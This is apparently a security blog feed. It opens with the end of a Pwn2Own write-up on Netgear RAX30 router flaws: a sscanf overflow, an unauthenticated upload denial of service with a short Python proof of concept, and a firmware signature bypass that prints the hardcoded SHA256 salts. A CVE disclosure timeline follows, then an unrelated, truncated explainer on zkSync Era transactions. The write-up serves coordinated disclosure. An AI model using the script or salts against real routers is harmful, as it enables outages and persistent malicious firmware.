<span class="w"> </span><span class="n">log_log</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="s">"handle_soapRequest"</span><span class="p">,</span><span class="mh">0x182</span><span class="p">,</span><span class="s">"line:[%s]"</span><span class="p">,</span><span class="o">&</span><span class="n">local_1824</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">pcVar6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"No request found."</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">iVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="o">&</span><span class="n">local_1824</span><span class="p">,</span><span class="s">"%[^ ] %[^ ] %[^ ]"</span><span class="p">,</span><span class="o">&</span><span class="n">local_1e24</span><span class="p">,</span><span class="o">&</span><span class="n">local_1c24</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">local_1a24</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strcasecmp</span><span class="p">((</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">local_1e24</span><span class="p">,</span><span class="s">"post"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar7</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">FUN_00015060</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p><code>soap_serverd</code> reads the HTTP headers calling <code>sscanf</code> to extract the HTTP method, path, and protocol version.</p>
<p>Because we didn't want to waste any time unnecessarily, our strategy was to focus on vulnerabilities that were easier to exploit, and we kept this vulnerability for the time we had left. The Netgear hotfix released right before the contest forced us to change our plans and we never went any further than a simple DOS with this vulnerability.</p>
<p>However, we were happy to see that, in their last release Netgear corrected this vulnerability by controlling the size of the parsed elements.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">iVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="o">&</span><span class="n">local_1824</span><span class="p">,</span><span class="s">"%511[^ ] %511[^ ] %511[^ ]"</span><span class="p">,</span><span class="o">&</span><span class="n">local_1e24</span><span class="p">,</span><span class="o">&</span><span class="n">local_1c24</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">local_1a24</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>If you are interested in a blogpost that converts this vulnerability into a remote code
execution one, we strongly encourage you to read <a href="https://claroty.com/team82/research/chaining-five-vulnerabilities-to-exploit-netgear-nighthawk-rax30-routers-at-pwn2own-toronto-2022">this blogpost</a>.</p>
<h2>A Denial of service vulnerability</h2>
<p>The Netgear RAX30 router integrates several paths to access a set of services, some with authentication and some without.
Among the unauthenticated calls, there is the possibility to push files to the router via the <code>rex_cgi</code> binary.
Below, an extract of <code>rex_cgi</code> which handles the file uploads.</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">http_docroot</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'\0'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">http_boundary</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">pcVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"/tmp/uploadFile"</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">pcVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"/tmp/multipartFile"</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">psz_dest_file</span><span class="p">,</span><span class="n">pcVar1</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">pfile_dest</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fopen</span><span class="p">(</span><span class="n">psz_dest_file</span><span class="p">,</span><span class="s">"w+"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pfile_dest</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="p">(</span><span class="kt">FILE</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">http_content_length</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0x400</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x401</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">fread</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">fwrite</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="n">pfile_dest</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">fread</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">fwrite</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="n">pfile_dest</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="n">fclose</span><span class="p">(</span><span class="n">pfile_dest</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">DAT_00027427</span><span class="p">,</span><span class="n">psz_dest_file</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>As you can see, the file is directly written inside the <code>/tmp</code> directory, and no size verification is done. Thus, if you submit a file of a size greater than router's available RAM, the router will freeze.</p>
<p>To try this you can use this script:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">url</span> <span class="o">=</span> <span class="s1">'http://192.168.1.1/tm_block/tm_block.cgi'</span>
<span class="n">files</span><span class="o">=</span><span class="p">{</span><span class="s1">'testfile'</span><span class="p">:</span><span class="nb">open</span><span class="p">(</span><span class="s1">'test.cfg'</span><span class="p">,</span><span class="s1">'rb'</span><span class="p">)}</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">put</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">resp</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
</code></pre></div>
<p>To have a POC that works properly, you should have a <code>test.cfg</code> file of size over 1G, the RAM size of this router.</p>
<p>This vulnerability is not critical, but it could be really inconvenient for anyone wanting to use this router.</p>
<h2>Signature bypass of the whole firmware</h2>
<p>We reverse engineered the firmware format of the Netgear RAX. The figure below details it precisely:</p>
<div style="text-align:center">
<img src="resources/2023-03-16_part2-pown2own/format_file.png" width="100%" />
</div>
<p>This analysis was based on the original image found on the manufacturer's website, the <code>bcm_flasher</code> binary and its library <code>libbcm_flashutil.so</code> allowing to flash the image on the NAND memory and the library <code>libpu_util.so</code> containing two interesting functions for the understanding of the firmware format:</p>
<ul>
<li><code>puUtl_signCfg</code> is used to check the signature embedded in the firmware format, and</li>
<li><code>puUtl_getSignHeader</code> is used to retrieve the important information contained in the proprietary header.</li>
</ul>
<p>The router uses a wrapping header for the ITB format used on Broadcom chipset and some other chipset, the ITB format is a firmware format based on FDT (Flattened Device Tree) for SoC (System-on-a-Chip) of the ARM processor family.
The ITB format is designed to store a firmware image that includes both the firmware binary code and a Flattened Device Tree representation of the devices embedded in the SoC.
This representation allows the firmware to recognize the hardware devices and configure them correctly.
The ITB format also allows for the storage of important metadata such as firmware version, security information and firmware integrity checks.
It is possible for instance to create a signed image commonly called a FIT image, but for our case it is not used. They have their own method for signing the firmware.</p>
<p>In fact, one field is called <code>signature</code>, and this signature is based on sha256 and 2 salted parts (K and K2). This verification is found inside the <code>puUtl_signCfg</code> function.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">SHA256_Init</span><span class="p">(</span><span class="n">sha_context</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SHA256_Update</span><span class="p">(</span><span class="n">sha_context</span><span class="p">,</span><span class="s">"hr89sdfgjkehx"</span><span class="p">,</span><span class="mh">0xd</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SHA256_Update</span><span class="p">(</span><span class="n">sha_context</span><span class="p">,</span><span class="o">&</span><span class="n">Header</span><span class="p">,</span><span class="n">iVar4</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">4U</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SHA256_Update</span><span class="p">(</span><span class="n">sha_context</span><span class="p">,</span><span class="n">ITB</span><span class="p">,</span><span class="n">size_ITB</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SHA256_Update</span><span class="p">(</span><span class="n">sha_context</span><span class="p">,</span><span class="s">"nohsli9fjh3f"</span><span class="p">,</span><span class="mh">0xc</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="n">SHA256_Final</span><span class="p">((</span><span class="n">uchar</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">uStack_548</span><span class="p">,</span><span class="n">sha_context</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>A sha256 hash is computed with <code>hr89sdfgjkehx</code> + PADDING + TYPE_VER + SIZE + VERSION + TYPE_VER + SIZE + DB_VERSION + ITB_HEADER + ITB + <code>nohsli9fjh3f</code>.</p>
<p>Thus, because the "signature" of a firmware image is just the SHA256 digest of image data concatenated with a secret string embedded in the firmware it is possible to create firmware images with valid signatures that will pass the signature validation check.</p>
<h2>Conclusion</h2>
<p>During our participation in the Pwn2Own Toronto 2022 contest, we discovered a couple of vulnerabilities that were exploitable on the LAN side of the router. One of them was also discovered by another participating team and it is fixed in the latest firmware version. We reverse engineered the firmware's format and also discovered that it is possible to create custom firmware with a valid signature and flash it on the router for persistence. We reported the vulnerabilities to Netgear and followed a 173-day coordinated disclosure process for publication.</p>
<h2>Update - 2023-11-15</h2>
<p>After the intial publication of this blogpost on 7th of November 2023,
Jimi Sebree informed us on X that Tenable discovered the same vulnerabilities
(<a href="https://www.tenable.com/security/research/tra-2023-12">Tenable blogpost</a>).<br>
These two vulnerabilities are known as CVE-2023-28338 for the denial of service
and CVE-2023-28337 for the signature bypass of the whole firmware explained
above.</p>
<h3>Disclosure timeline</h3>
<ul>
<li>2023-05-18 Quarkslab sent email to Netgear Technical Support asking for product security contact information explaining that Clause 3 of their Bug Bounty's terms on Bugcrowd makes it unacceptable to report vulnerabilities using it.</li>
<li>2023-05-18 Netgear opened <code>case #47304021</code> in their technical support portal.</li>
<li>2023-05-19 Netgear technical support asked for purchase invoice and picture of the router.</li>
<li>2023-06-23 Netgear technical support closed the support case due to lack of response.</li>
<li>2023-07-14 Quarkslab sent the technical report describing the vulns, proof-of-concept program, a picture of the router and a copy of the purchase invoice.</li>
<li>2023-04-14 Netgear opened <code>case #47468661</code> in their technical support portal.</li>
<li>2023-07-17 Netgear informed that it escalated the case to Level 2 Tech support and asked for a phone number and time for a callback within 48 hours.</li>
<li>2023-07-20 Netgear sent email to Quarkslab's generic contact email requesting contact information for Quarkslab Vulnerability Reports team.</li>
<li>2023-07-20 Quarkslab Vulnerability Reports team sent contact information and said it preferred to communicate over email so a record of the discussion could be kept and all parties (vendor, coordinator, researchers) could remain synchronized and informed. Nonetheless offered to discuss in a conference call if required.</li>
<li>2023-07-26 Netgear sent email to Quarkslab's generic contact email and to a sales representative acknowledging the findings and requesting to work directly with the vulnerability reports team. Asked for an email or phone number to contact it.</li>
<li>2023-07-26 Quarkslab Vulnerability Reports sent contact information (vulnreport@quarkslab.com) and asked Netgear to continue further communications using only that email address.</li>
<li>2023-08-01 Quarkslab reminded Netgear that the contact information was provided 5 days ago.</li>
<li>2023-08-01 Netgear said their engineering team would like direct contact with Quarkslab and asked for a phone number.</li>
<li>2023-08-02 Quarkslab replied that it did not have a phone number but offered to do a videoconference if necessary.</li>
<li>2023-08-03 Netgear PSIRT confirmed receiving the report and passing it to the engineering team for validation and analysis. Requested a 120-day embargo period.</li>
<li>2023-08-08 Netgear PSIRT requested an update from Quarkslab.</li>
<li>2023-08-13 Netgear L2 technical support asked if Quarkslab had received their PSIRT's email.</li>
<li>2023-08-14 Quarkslab replied to Netgear PSIRT agreeing to a 120-day embargo, counting from the first report date. Publication date was set to November 6, 2023. Noted that its likely other researchers will find the same bugs.</li>
<li>2023-08-14 Quarkslab notified Netgear L2 tech support that it already replied to the PSIRT team and asked them to stop using Quarkslab's commercial contact email address for vuln report coordination.</li>
<li>2023-08-21 Netgear PSIRT said that since the initial date of the report was July 31st, the disclosure date should be November 28th. Asked Quarkslab to confirm the date.</li>
<li>2023-08-22 Quarkslab replied that the report was sent on July 14, 2023 and the tech support case was opened on the same date, therefore that should be considered the initial date of the report. Also mentioned that a prior support case was opened on May 18th and closed on June 6th because Quarkslab did not provide a picture of the router and copy of the purchase invoice. We reaffirmed November 6, 2023 as final day for coordinating disclosure.</li>
<li>2023-08-22 Netgear L2 tech support asked if it could close the support case.</li>
<li>2023-08-23 Netgear PSIRT agreed to the proposed disclosure date of November 6, 2023.</li>
<li>2023-08-24 Quarkslab told Netgear L2 tech support that it would prefer to keep the case opened until the bugs are fixed. Asked again to remove Quarkslab's generic contact email address from the case.</li>
<li>2023-09-27 Netgear L2 tech support closed the case.</li>
<li>2023-11-07 This blog post is published.</li>
</ul>Workflow of a zkSync Era transaction: from generation to finalization2023-10-26T00:00:00+02:002023-10-26T00:00:00+02:00Madigan Lebretontag:blog.quarkslab.com,2023-10-26:/zksync-transaction-workflow.html<p>This blog post presents the entire workflow of a transaction executed on zkSync Era. zkSync Era is a Zk Rollup Layer 2 blockchain that executes transactions and proves its execution on the Ethereum blockchain using Zero-Knowledge proofs.</p><h2>Introduction</h2>
<blockquote>
<p>Special thanks to <a href="https://twitter.com/vladbochok1">@vladbochok1</a> from zkSync team for his blog post review before release.</p>
</blockquote>
<p><a href="https://zksync.io/">zkSync Era</a> is a Layer 2 protocol aiming to scale Ethereum throughput using zero-knowledge cryptography.
It is known as a Zk Rollup.
This blockchain hopes to accelerate the adoption of blockchain technology by making decentralized applications more accessible and affordable at any scale.
As of today, more than $400M have been bridged to zkSync Era.</p>
<p>In this blog post, we will walk through the entire workflow of a Layer 2 transaction.
The different states of a transaction will be detailed, from its generation to its finalization.
To illustrate the process, we will focus on a single example transaction.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Global workflow of a zkSync transaction</em></p>
</center></p>
<p>For readability, the following abbreviations will be used throughout this blog post:</p>
<table class="table table-striped">
<thead>
<th>Abbreviation</th>
<th>Terms</th>
<th>Short definition</th>
</thead>
<tbody>
<tr>
<th scope="row">EOA</th>
<td>Externally-Owned Account</td>
<td>An Ethereum account generated from a key pair, with no associated smart contract code.</td>
</tr>
<tr>
<th scope="row">ETH, Ether</th>
<td>Ethereum's native coin</td>
<td>Currency used for fees and value transfers on Ethereum and its L2.</td>
</tr>
<tr>
<th scope="row">EVM</th>
<td>Ethereum Virtual Machine</td>
<td>Abstract machine, formally defined in the <a href="https://ethereum.github.io/yellowpaper/paper.pdf">Ethereum's yellow paper</a>, executing all Ethereum transactions.</td>
</tr>
<tr>
<th scope="row">L1</th>
<td>Layer 1 blockchain</td>
<td>Blockchain used as the underlying main blockchain architecture. In this post, the L1 is Ethereum.</td>
</tr>
<tr>
<th scope="row">L2</th>
<td>Layer 2 blockchain</td>
<td>Blockchain used as the overlaying network, secured by an L1. In this post, the L2 is zkSync Era.</td>
</tr>
<tr>
<th scope="row">Pubdata</th>
<td>Public data</td>
<td>Data stored on L1 from which the full L2 state can be reconstructed.</td>
</tr>
<tr>
<th scope="row">ZKP</th>
<td>Zero-Knowledge Proof</td>
<td>Type of cryptographic proof used to prove a statement's correctness without revealing other informations.<br>In the context of Zk Rollups, those ZKP simply enable a verifier to check whether a prover performed a computation correctly.<br>Transactions remain public and their effects are stored on-chain, so they are easy to replay.</td>
</tr>
</tbody>
</table>
<h2>Context</h2>
<p>Since its official launch in 2015,
Ethereum established itself as the leading blockchain for smart contracts,
notably due to its versatility, security, and high level of decentralization.
However, these strong qualities came at the cost of a limited capacity.</p>
<p>This limit is so significant that a special concept was coined for it: the "blockchain trilemma",
stating that it is very hard (if not impossible) to design blockchains that are simultaneously
decentralized, secure, and scalable.
In Ethereum's case, scalability was sacrificed,
limiting the network to about 12 transactions per seconds.
The blockchain has been at capacity for years now,
leading to competition among its users for inclusion,
which implies higher fees (as high as $100 per transaction during the most congested periods).</p>
<p>One of the proposed solutions are Layer 2 blockchains,
taking advantage of Ethereum's security and decentralization to propose highly scalable blockchains.</p>
<p>Zk Rollups are a Layer 2 solution leveraging ZK technology to scale Ethereum throughput
without compromising Ethereum security.</p>
<h2>Creation of the transaction</h2>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step1.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step1.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Creation of the transaction</em></p>
</center></p>
<p>Here is the scenario of the example transaction:
the well-known Alice wants to transfer 1 ETH to the famous Bob.
The transaction fees on the Ethereum blockchain are way too high for Alice, she would like to reduce those fees.
She decides to use a Zk Rollup to transfer value while saving fees, so she uses zkSync Era.</p>
<h3>Transaction fields</h3>
<p>First, as with every blockchain, users are responsible for creating their transactions.
Alice generates hers according to the target blockchain format, and uses her key pair to sign it.</p>
<h4>Ethereum transaction fields</h4>
<p>zkSync Era transactions are based on the <a href="https://ethereum.org/en/developers/docs/transactions/">Ethereum format</a>.
As such, Alice will create a transaction with the following fields:</p>
<table class="table table-striped">
<thead>
<th>Field name</th>
<th>Description</th>
<th>Alice's example transaction</th>
</thead>
<tbody>
<tr>
<th scope="row"><code>from</code></th>
<td>the address of the sender who will sign the transaction</td>
<td>Alice's address</td>
</tr>
<tr>
<th scope="row"><code>recipient</code></th>
<td>the receiving address</td>
<td>Bob's address</td>
</tr>
<tr>
<th scope="row"><code>signature</code></th>
<td>the proof that the transaction is authorized by the sender</td>
<td>Signature generated by Alice, using her key pair</td>
</tr>
<tr>
<th scope="row"><code>nonce</code></th>
<td>a sequentially incrementing counter</td>
<td>Alice account nonce value</td>
</tr>
<tr>
<th scope="row"><code>value</code></th>
<td>the amount of ETH to transfer from the sender to the recipient, in wei</td>
<td><code>10^18</code>, representing 1 ETH</td>
</tr>
<tr>
<th scope="row"><code>input data</code></th>
<td>arbitrary data, mainly used for call to smart contracts</td>
<td>Empty field, as Bob's account is an EOA</td>
</tr>
<tr>
<th scope="row"><code>gasLimit</code></th>
<td>maximum amount of gas units that the transaction should consume</td>
<td>Depends on the network state</td>
</tr>
<tr>
<th scope="row"><code>maxPriorityFeePerGas</code></th>
<td>maximum price of the consumed gas used as a tip to the validator</td>
<td>Depends on the network state</td>
</tr>
<tr>
<th scope="row"><code>maxFeePerGas</code></th>
<td>maximum fee per unit of gas for the transaction</td>
<td>Depends on the network state</td>
</tr>
</tbody>
</table>
<blockquote>
<p>Note: The last 3 values are related to gas and depend on the network's state.
If those values are set too low, the transaction will either fail or not be included by validators until the network fees get more affordable.</p>
</blockquote>
<p>Once the transaction has been generated by Alice, she sends it to an L2 node.
In the context of zkSync Era, the L2 node is called an "operator".
The transaction is sent to the L2 operator by calling the <code>eth_sendRawTransaction</code> endpoint.
zkSync Era supports the standard <a href="https://ethereum.org/en/developers/docs/apis/json-rpc/">Ethereum JSON-RPC API</a>,
and also provides its own <a href="https://era.zksync.io/docs/api/api.html">L2-specific features</a>.</p>
<h4>zkSync Era transaction fields</h4>
<p>zkSync Era then uses its own specific fields for transactions.
The following fields are provided when querying for <a href="https://era.zksync.io/docs/api/api.html#zks-gettransactiondetails">L2 transaction details</a> to a zkSync node's JSON-RPC API:</p>
<table class="table table-striped">
<thead>
<th>Field name</th>
<th>Description</th>
<th>Alice's example transaction</th>
</thead>
<tbody>
<tr>
<th scope="row"><code>is_l1_originated</code></th>
<td>a boolean that indicates if the transaction comes from L1 or not</td>
<td><code>False</code>: the transaction is from Alice's L2 account to Bob's L2 account</td>
</tr>
<tr>
<th scope="row"><code>status</code></th>
<td>the current status of the transaction</td>
<td>Depends on the step of the transaction workflow</td>
</tr>
<tr>
<th scope="row"><code>fee</code></th>
<td>the amount of fee charged for transaction execution and validation</td>
<td>Depends on the network's state</td>
</tr>
<tr>
<th scope="row"><code>initiator_address</code></th>
<td>the initiator of the transaction (i.e. the account that will pay fees)</td>
<td>Alice's address</td>
</tr>
<tr>
<th scope="row"><code>received_at</code></th>
<td>the timestamp when which the operator reveived the transaction</td>
<td>Depends on when Alice sent her transaction</td>
</tr>
<tr>
<th scope="row"><code>eth_commit_tx_hash</code></th>
<td>the Ethereum transaction in which the transaction's data was sent to L1</td>
<td>Depends on the transaction's batch state</td>
</tr>
<tr>
<th scope="row"><code>eth_prove_tx_hash</code></th>
<td>the Ethereum transaction in which the transaction's data was validated on L1</td>
<td>Depends on the transaction's batch state</td>
</tr>
<tr>
<th scope="row"><code>eth_execute_tx_hash</code></th>
<td>the Ethereum transaction in which the transaction was executed on L1 state</td>
<td>Depends on the transaction's batch state</td>
</tr>
</tbody>
</table>
<p>Depending on the transaction type, other fields can be added to a transaction,
but these won't be considered here.
We will use the <code>status</code> field throughout this blog post to follow the evolution of Alice's transaction.</p>
<h3>Accounts and addresses</h3>
<p>In classic EVM, an account is represented as an address (a 160-bit identifier, conventionally represented in hexadecimal form).
<code>0x29DF43F75149D0552475A6f9B2aC96E28796ed0b</code> is an example of a real address used on Ethereum.</p>
<p>There exist two types of accounts: Externally-Owned Accounts (EOA) and Smart Contracts.</p>
<h4>Externally-Owned Accounts (EOA)</h4>
<p>On Ethereum, an EOA address is derived from a public key.
It corresponds to the last 20 bytes of the <em>Keccak-256</em> hash of the <em>secp256k1</em> public key.
It can be represented by the following formula: <code>address = keccak256(secp256k1_pubkey)[12:]</code>.
zkSync Era uses the same EOA addresses.
This way, most wallets such as MetaMask directly support zkSync Era out of the box.</p>
<h4>Smart Contracts</h4>
<p>On Ethereum, a smart contract is an address at which a bytecode is deployed, meaning that the account's code size is non-zero.
All non-zero code size accounts are considered smart contracts, and all zero code size accounts are considered EOA.
A smart contract address is defined deterministically from the hash of the bytecode, the deployer address and other data such as a nonce (random or not) and a static identifier.</p>
<p>In the zkSync Era ecosystem, all accounts are defined as smart contracts.
A default account code is attached to every address greater than <code>2^16 -1=0xFFFF</code> for which no bytecode is defined.
This default account code is mainly used to validate and execute EOA's transactions.
Addresses lower than <code>2^16</code> are used for <strong>system contracts</strong>.
They are part of the <strong>kernel space</strong> and enable some advanced features such as sending messages to the L1 and managing L2 ETH balances.
Some system contracts will be detailed in the next sections as they are used by Alice's transaction.</p>
<p>Users can deploy their own smart contracts on zkSync Era.
The solution aims to provide compatibility with existing Solidity codebases.
A zkEVM bytecode can be deployed on zkSync Era the same way EVM bytecode can be deployed on Ethereum, with <a href="https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html">some little differences</a>.
The way smart contract addresses are derived is also different, notably to avoid cross-chain exploits.
The inner workings of zkSync Era's zkEVM is very different from the EVM,
but the abstraction layer used and the <a href="https://era.zksync.io/docs/tools/compiler-toolchain/overview.html">dedicated toolchain</a> allow most Solidity codebases to work out of the box.
Moreover, the most used Solidity development tools are supported on zkSync Era (<a href="https://era.zksync.io/docs/tools/hardhat/">Hardhat</a>, <a href="https://github.com/matter-labs/foundry-zksync">Foundry</a>).</p>
<h2>Pending transaction</h2>
<p>Once an operator receives Alice's transaction, it adds it to a mempool of transactions.
The status of the transaction is set as <strong>pending</strong>.
This status is set almost instantly after the operator receives the transaction.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step2.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step2.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Pending transaction</em></p>
</center></p>
<h3>Blocks and Batches</h3>
<p>The operator slices the transaction mempool into blocks called "L2 blocks".
An L2 block is a list of transactions with specific metadata.
In the case of zkSync Era, these L2 blocks are only used on the L2 blockchain,
they are not included in this form on the L1 Ethereum blockchain.
The rationale behind L2 blocks is to provide a fast software validation for user experience,
as wallets show validation to the user as soon as the transaction has been included into an L2 block.
The current L2 block production average time is less than a second.</p>
<p>Once multiple L2 blocks are available, they are merged into an "L1 batch".
An L1 batch contains all the transactions, from the first L2 block to the last one in the batch.
An L1 batch is later submitted and proved on Ethereum, which allows spreading the submission gas cost across all batched transactions.
This is the main mechanism reducing gas cost, and scaling Ethereum's throughput.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/L2Blocks-L1Batch.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/L2Blocks-L1Batch.png" class="with-border" width="100%">
</a></p>
<p class="center-text"><em>L2 blocks and L1 batch in zkSync Era</em></p>
<p></center></p>
<h2>Included transaction</h2>
<p>Once the operator has included the transaction into an L2 block,
the status of the transaction is set to <strong>included</strong>.
This is currently achieved less than a second after the operator received the transaction.
This state is used by most wallets to confirm the execution of the L2 transaction to the user.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step3.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step3.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Included transaction</em></p>
</center></p>
<h3>Transactions execution</h3>
<p>All the transactions in an L1 batch are executed in zkSync Era's specific virtual machine: a zkEVM called <strong>EraVM</strong>.
The inner workings of this zkEVM are complex, so we will only focus on the components used by Alice's transaction.</p>
<p>The L1 batch is provided to the bootloader L2 contract.
This smart contract is a special one: it is the EraVM's entry point, and it is responsible for the execution of all the transactions in the provided L1 batch.
Its memory mapping is initialized before being executed. According to zkSync, this memory initialization is done for convenience and efficiency.
It is the only point of non-determinism: <em>"the bootloader starts with its memory pre-filled with any data the operator wants"</em>.
The bootloader starts with a call to the <code>SystemContext</code> system contract,
setting multiple context variables such as the L1 batch timestamp,
its index and the hash of the previous L1 batch.
Once variables are set, it executes the transactions.
For each transaction, the workflow is the following:</p>
<ol>
<li>The bootloader checks that the transaction is well-formed.</li>
<li>The bootloader calls the sender's (i.e. Alice's) account to verify the transaction using the <code>validateTransaction</code> function.<ol>
<li>The <code>NonceHolder</code> system contract is called to increment the account nonce.</li>
<li>The default account code attached to the sender account checks the validity of the transaction's signature.</li>
</ol>
</li>
<li>If the transaction is valid, the bootloader calls the sender's account to pay for the transaction execution using the <code>payForTransaction</code> function.<ul>
<li><em>for readability, this step is not included in the next figure.</em></li>
</ul>
</li>
<li>If the transaction fees are paid, the bootloader calls the sender's account to execute the transaction using the <code>executeTransaction</code> function.<ol>
<li>The default account code executes the transaction.</li>
</ol>
</li>
<li>The bootloader refunds the sender's account for non-consumed gas.<ul>
<li><em>for readability, this step is not included in the next figure.</em></li>
</ul>
</li>
